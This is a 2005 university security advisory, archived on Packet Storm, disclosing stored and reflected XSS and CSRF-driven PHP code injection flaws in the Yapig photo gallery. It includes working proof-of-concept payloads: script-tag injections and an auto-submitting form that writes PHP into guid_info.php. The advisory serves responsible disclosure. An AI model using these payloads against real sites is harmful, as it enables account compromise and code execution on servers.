exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TUVSA-0510-001.txt

TUVSA-0510-001.txt
Posted Oct 15, 2005
Authored by Nenad Jovanovic | Site seclab.tuwien.ac.at

Yapig versions 0.95b and below suffer from code injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 1b89367e70367c6555029ed21e894a27887a5d9c998021069da8b702910b3d0a

TUVSA-0510-001.txt

Change Mirror Download
===========================================================
Yapig: XSS / Code Injection Vulnerability
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0510-001, October 13, 2005
===========================================================


Affected applications
----------------------

Yapig (yapig.sourceforge.net)

Versions 0.95b and prior.


Description
------------


1.) Stored XSS

An attacker can include malicious JavaScript by posting an image-related comment and inserting something like the following into the "Homepage" form field:

"><script>alert('hi')</script>

This attack falls under the category of stored cross-site scripting and doesn't require the attacker to be logged in.


2.) Reflected XSS

An attacker can include malicious JavaScript by tricking a user into clicking a link to the following URL:

http://your-server/path-to-yapig/view.php?gid=1&phid=1&img_size=><script>alert('hi')</script>

The fields "your-server" and "path-to-yapig" in the given URL have to be adjusted accordingly. The parameters "gid=1" and "phid=1" assume that there exist a gallery and a photo with ID 1 and can be adjusted as well.

Moreover, the width of the image being viewed has to be less than $MAX_IMG_SIZE (set inside config.php) because otherwise, the vulnerable variable $img_size is set to a safe value inside the if-branch on line 120 of view.php. And finally, register_globals has to be active.


3.) Code Injection

An attacker can inject arbitrary PHP code into a gallery's "guid_info.php" file by tricking the logged-in admin into clicking a link to a page with the following contents:

<form method="post" action="http://your-server/path-to-yapig/yapig095b/modify_gallery.php?action=mod_info&gid=1">
<input value='TestGallery"; echo "evil' name="title" type="text">
<input value="TestAuthor" name="author" type="text">
<input value="TestDate" name="date" type="text">
<input value="" name="dir" type="text">
<input value="TestDescription" name="desc" type="text">
<input type="submit">
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

As for vulnerability #2, "your-server", "path-to-yapig", "gid" and "phid" can be adjusted.

Apart from this, Yapig seems to be susceptible to "Cross-Site Request Forgery" (CSRF) attacks in general. However, this problem is not limited to Yapig, but affects a large number of comparable web applications available at this time.


Solution
---------

Attempts to contact the authors were not successful until now, so there is no official solution available yet.

Timeline:

September 28, 2005: Attempt to contact Yapig developers via "natasab at users.sourceforge.net".

October 5, 2005: Attempt to contact Yapig developers via Sourceforge bug tracker.

October 13, 2005: Advisory submission.


Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close